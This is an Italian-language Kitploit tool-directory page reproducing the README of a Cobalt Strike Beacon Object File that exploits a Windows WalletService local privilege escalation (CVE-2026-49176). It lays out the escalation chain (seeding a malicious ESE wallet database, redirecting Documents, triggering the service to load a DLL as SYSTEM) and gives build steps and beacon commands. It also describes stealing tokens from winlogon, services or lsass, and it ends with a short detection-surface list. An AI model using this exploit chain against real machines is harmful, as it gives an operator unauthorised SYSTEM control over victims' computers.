Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — PoC standalone + Cobalt Strike BOF (comando SYSTEM su sessione interattiva) | Kitploit
Strumenti/GitHubGitHub/777erp/cve-2026-49176_bof
Escalation di PrivilegiExploitPost-ExploitRed TeamingSviluppo Payload
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — PoC standalone + Cobalt Strike BOF (comando SYSTEM su sessione interattiva)

Vedi Repository
4111 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-49176 BOF per Cobalt Strike

BOF (Beacon Object File) per Cobalt Strike per l'escalation dei privilegi locale tramite Windows WalletService (CVE-2026-49176, corretto a luglio 2026).

Da un Beacon a integrità media (utente standard), questo strumento prepara un database ESE Wallet dannoso, reindirizza Documents, attiva WalletService ed esegue una riga di comando specificata dal chiamante come NT AUTHORITY\SYSTEM sul desktop interattivo.

Solo BOF.
PoC PowerShell autonomo originale: DavidCarliez/CVE-2026-49176_LPE_POC. Stessa causa principale della vulnerabilità; diversa distribuzione e avvio del processo post-SYSTEM.


Disclaimer

Solo per ricerca sulla sicurezza autorizzata, istruzione e validazione difensiva.


Vulnerabilità (condivisa con il PoC originale)

WalletService risolve FOLDERID_Documents mentre impersona il chiamante, quindi torna a LocalSystem prima di aprire:

root@kitploit:~
<Documents>\Wallet\wallet.db

Un utente standard può popolare quel database con un callback ESE predefinito definito dall'utente (PATH\payload.dll!Export), puntare Documents a una directory controllata e chiamare WinRT WalletManager.RequestStoreAsync / GetItemsAsync così che il servizio carichi la DLL come SYSTEM.

Analisi tecnica: CVE-2026-49176 Exploit Development: WalletService to SYSTEM


BOF vs PoC originale — percorso di escalation dei privilegi

Stesso: come viene ottenuta l'esecuzione di codice come SYSTEM

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

Differente: processo SYSTEM interattivo dopo il callback

WalletService usa spesso un token SYSTEM filtrato (senza SeAssignPrimaryToken / SeImpersonate utilizzabili). Un CreateProcess* diretto → 1314.

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

Caratteristiche

  • Comando Beacon singolo per qualsiasi comando/file come SYSTEM sul desktop attivo
  • Catena completa in-process: stage → seed → redirect → trigger → wait → ripristino Documents
  • Impacchetta wallet_callback.dll + shell_broker.exe tramite bof_pack("bbZ")
  • Spawn post-SYSTEM multi-strategia + diagnostica result.txt
  • Solo x64

Requisiti

ElementoRequisito

Struttura

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

Build

root@kitploit:~
cd bof
build.bat
ComandoOutput
build.bat / build.bat bothDLL + broker + x64 BOF
build.bat payloadSolo DLL + broker
build.bat cleanRimuove gli artefatti
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

Modificare i percorsi VCVARS64 in build.bat se VS non è in posizione predefinita.
Flag critici: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (sicurezza del linker CS BOF).


Utilizzo

Caricamento

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Ricaricare dopo ogni ricompilazione.)

Comandi

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • Niente virgolette esterne se il percorso non contiene spazi.
  • Menu opzionale: Beacon → CVE-2026-49176 → Esegui comando come SYSTEM...

Staging sul target

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

Impacchettamento

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

Output previsto

Riga del task

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

Successo (illustrativo)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= può essere winlogon, services, lsass o un percorso del broker.

Errori comuni

Documents viene ripristinato anche in caso di errore quando il reindirizzamento è riuscito.


Architettura

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

Superficie di rilevamento

  • Modifica della cartella nota Documents
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL di callback
  • WalletService carica una DLL scrivibile dall'utente
  • API OpenProcess / token verso winlogon/lsass/services
  • Servizi di breve durata CVE49176_*
  • CreateProcessAsUserW / CreateProcessWithTokenW in sessioni interattive

Limitazioni

  • Solo x64; WalletService non patchato richiesto
  • L'API WinRT del Wallet potrebbe non essere disponibile/deprecata su alcune build
  • La directory di stage non viene eliminata automaticamente
  • ESE/WinRT vengono eseguiti dentro Beacon (rischio di crash rispetto al PoC originale isolato in un processo)

Correlati

LinkDescrizione
DavidCarliez/CVE-2026-49176_LPE_POCPoC LPE autonomo originale (PoC di ricerca upstream)
Write-upArticolo di ricerca originale
Scarica lo strumento
FasePoC originaleQuesto BOF
Seed ESE DBwallet_ese_seed.exeIn-BOF Jet*A
Reindirizzamento Documentsdocuments_path.exeIn-BOF SHGet/SetKnownFolderPath
Trigger WalletPowerShell WinRTIn-BOF RoGetActivationFactory
DLL di callbackwallet_callback_shell.dllwallet_callback.dll
PoC originaleQuesto BOF
Processo obiettivocmd.exe hard-codedRiga di comando fornita dall'operatore
Metodo principaleServizio temporaneo → shell_broker.exe → CreateProcessAsUserWFurto del token da winlogon / services / lsass → spawn
FallbackNessunoSCM + cmd.exe /c "shell_broker.exe" "result.txt"
Beacon
x64, integrità media (non elevata)
TargetWalletService vulnerabile (patch pre-luglio 2026)
CSCobalt Strike 4.x con supporto BOF
BuildVS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT)
LogSignificato
JetAddColumn: -1003Problema di parametri ESE
error=1314SYSTEM filtrato; necessario furto del token / broker
STEAL_FAIL error=5Impossibile aprire il processo/token di destinazione
StartService error=32Violazione di condivisione (mitigata tramite wrapper cmd)
detail=all_methodsTutte le strategie post-SYSTEM sono fallite
Linker Unknown symbol '??_C@_...'Flag di build BOF errati; ricompilare con build.bat